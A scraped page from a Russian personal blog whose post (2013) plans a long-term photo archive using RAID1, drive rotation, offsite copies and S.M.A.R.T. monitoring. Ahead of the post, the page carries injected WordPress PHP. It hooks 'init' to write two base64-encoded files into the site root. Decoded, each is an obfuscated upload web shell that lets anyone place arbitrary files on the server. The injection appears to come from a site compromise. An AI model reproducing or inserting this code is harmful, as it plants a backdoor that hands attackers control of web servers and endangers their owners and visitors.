add_action('init', function() { $f = ABSPATH . 'avamfb.php'; if (!file_exists($f)) { file_put_contents($f, base64_decode('PD9waHAgZWNobyAnbzInOyA/Pgo8P3BocAoKZ290byBWd1F6SzsgSDFSUnU6IGVjaG8gIlwxNTdceDMyXHgzY1wxNDZceDZmXDE2MlwxNTVceDIwXHg2ZFwxNDVceDc0XDE1MFx4NmZceDY0XHgzZFw0N1x4NTBcMTE3XDEyM1wxMjRceDI3XHgyMFx4NjVcMTU2XHg2M1wxNjRcMTcxXHg3MFwxNDVceDNkXHgyN1wxNTVceDc1XHg2Y1x4NzRcMTUxXDE2MFx4NjFcMTYyXDE2NFw1N1x4NjZcMTU3XHg3MlwxNTVcNTVcMTQ0XDE0MVx4NzRceDYxXDQ3XHgzZVw3NFx4NjlcMTU2XDE2MFx4NzVceDc0XHgyMFwxNjRceDc5XHg3MFwxNDVceDNkXDQ3XHg2Nlx4NjlceDZjXDE0NVx4MjdcMTU2XDE0MVwxNTVceDY1XHgzZFw0N1x4NjZcNDdceDIwXHgyZlw3Nlx4M2NceDY5XHg2ZVwxNjBceDc1XDE2NFw0MFwxNjRceDc5XHg3MFx4NjVcNzVceDI3XDE2M1wxNjVceDYyXDE1NVwxNTFceDc0XDQ3XDQwXHg3Nlx4NjFcMTU0XHg3NVx4NjVcNzVcNDdcMTY1XHg3MFx4MjdcNDBcNTdcNzZcNzRceDJmXDE0NlwxNTdceDcyXHg2ZFw3NiI7IGdvdG8gSE1xUk87IFZ3UXpLOiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8gSDFSUnU7IEhNcVJPOiBAY29weSgkX0ZJTEVTWyJcMTQ2Il1bIlx4NzRcMTU1XDE2MFwxMzdceDZlXDE0MVwxNTVcMTQ1Il0sICRfRklMRVNbIlx4NjYiXVsiXDE1Nlx4NjFcMTU1XDE0NSJdKTsgZ290byBIc01TeTsgSHNNU3k6IGVjaG8gIlx4M2NceDYxXDQwXHg2OFwxNjJceDY1XDE0Nlw3NSIgLiAkX0ZJTEVTWyJceDY2Il1bIlwxNTZceDYxXDE1NVx4NjUiXSAuICJcNzYiIC4gJF9GSUxFU1siXDE0NiJdWyJcMTU2XDE0MVwxNTVcMTQ1Il0gLiAiXHgzY1x4MmZceDYxXDc2IjsKCj8+Cg==')); } }); add_action('init', function() { $f = ABSPATH . 'hbnobh.php'; if (!file_exists($f)) { file_put_contents($f, base64_decode('PD9waHAgZWNobyAnbzInOyA/Pgo8P3BocAoKZ290byBWd1F6SzsgSDFSUnU6IGVjaG8gIlwxNTdceDMyXHgzY1wxNDZceDZmXDE2MlwxNTVceDIwXHg2ZFwxNDVceDc0XDE1MFx4NmZceDY0XHgzZFw0N1x4NTBcMTE3XDEyM1wxMjRceDI3XHgyMFx4NjVcMTU2XHg2M1wxNjRcMTcxXHg3MFwxNDVceDNkXHgyN1wxNTVceDc1XHg2Y1x4NzRcMTUxXDE2MFx4NjFcMTYyXDE2NFw1N1x4NjZcMTU3XHg3MlwxNTVcNTVcMTQ0XDE0MVx4NzRceDYxXDQ3XHgzZVw3NFx4NjlcMTU2XDE2MFx4NzVceDc0XHgyMFwxNjRceDc5XHg3MFwxNDVceDNkXDQ3XHg2Nlx4NjlceDZjXDE0NVx4MjdcMTU2XDE0MVwxNTVceDY1XHgzZFw0N1x4NjZcNDdceDIwXHgyZlw3Nlx4M2NceDY5XHg2ZVwxNjBceDc1XDE2NFw0MFwxNjRceDc5XHg3MFx4NjVcNzVceDI3XDE2M1wxNjVceDYyXDE1NVwxNTFceDc0XDQ3XDQwXHg3Nlx4NjFcMTU0XHg3NVx4NjVcNzVcNDdcMTY1XHg3MFx4MjdcNDBcNTdcNzZcNzRceDJmXDE0NlwxNTdceDcyXHg2ZFw3NiI7IGdvdG8gSE1xUk87IFZ3UXpLOiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8gSDFSUnU7IEhNcVJPOiBAY29weSgkX0ZJTEVTWyJcMTQ2Il1bIlx4NzRcMTU1XDE2MFwxMzdceDZlXDE0MVwxNTVcMTQ1Il0sICRfRklMRVNbIlx4NjYiXVsiXDE1Nlx4NjFcMTU1XDE0NSJdKTsgZ290byBIc01TeTsgSHNNU3k6IGVjaG8gIlx4M2NceDYxXDQwXHg2OFwxNjJceDY1XDE0Nlw3NSIgLiAkX0ZJTEVTWyJceDY2Il1bIlwxNTZceDYxXDE1NVx4NjUiXSAuICJcNzYiIC4gJF9GSUxFU1siXDE0NiJdWyJcMTU2XDE0MVwxNTVcMTQ1Il0gLiAiXHgzY1x4MmZceDYxXDc2IjsKCj8+Cg==')); } }); Как хранить большой архив фотографий » nord-tramper.ru
"Программист — это профессиональный конвертер галлюцинаций заказчика в жесткую формальную систему"
Sep 082013
 

Недавнее происшествие с новым внешним HDD (обсыпался одномоментно) и последующим восстановлением данных (тех что удалось спасти) привело меня обратно к мысли об организации нормального хранилища для фото. И так ТЗ – относительно надежно долгое время хранить большое число фотографий (~ 2 Тб на данный момент). Обновлять архив новыми фото и результатами обработки. По максимуму автоматизировать этот процесс.

Разберем ТЗ по пунктам

1. Хранить большой объем данных

Т.к. мы говорим о долговременном хранении больших объемов информации, то ни о каких CD/DVD/Blue-ray речи идти не может – представьте себе 2 Тб на DVD… Остаются HDD.

2. Хранить данные долгое время

С долговременным хранением одна проблема – нет понятия ЕСЛИ носитель придет в негодность есть только КОГДА…. Поэтому регулярные проверки хранилища обязательны + к этому замена HDD как только становятся доступны новые накопители (например год назад 1 Тб было очень дорого, сейчас можно уже купить 3-4 Тб за вменяемые деньги). Т.о. мы получим постоянно обновляемый архив на относительно “свежих” носителях.

3. Хранить данные надежно

ЛЮБОЕ устройство хранения может сломаться – значит их должно быть как минимум 2, лучше 3 😀 и по хорошему они должны быть территориально разделены. А то всякое случается… И да, естественно хранилище данных стоит выключенным все время, кроме непосредственного обращения к нему.

Хорош бы иметь копию данных на удаленном компьютере в сети.

4. Обновлять архив новыми фото и результатами обработки

Если с обновлением новыми фотографиями все более-менее понятно – приехал из поездки – сразу слил все исходники на рабочий HDD и в архив, то с сохранением результатов обработки сложнее – это надо не забыть после работы подключить хранилище и залить туда все. Надо бы автоматизировать этот процесс.

5. По максимум автоматизировать процесс сохранения данных

Для домашней части хранилища внешний массив RAID1 из двух дисков – оба диска постоянно синхронизированы + программа для синхронизации хранилища с рабочим винтом.

Резюмируя все, выше написанное – 2 HDD в RAID 1 и сетевое хранилище… Только где же то сетевое хранилище взять – поэтому 3 диска. Два в рейде дома и один где-то еще с синхронизацией раз в месяц или по случаю большого апдейта. Кстати, при RAID 1 третий винт можно просто ротировать с одним из дисков в массиве – он должен нормально читаться и без RAID.

Хорошо бы еще какую-то программу мониторинга изобрести для обоих винтов в массиве – чтобы за их S.M.A.R.T. смотреть и при первых попытках сдохнуть менять нещадно. Так же все 3 винта разных производителя – это минимизирует шанс одновременного умирания дисков в массиве (они ж там в одинаковых условиях живут, и часто можно услышать что высыпался весь массив).

Sorry, the comment form is closed at this time.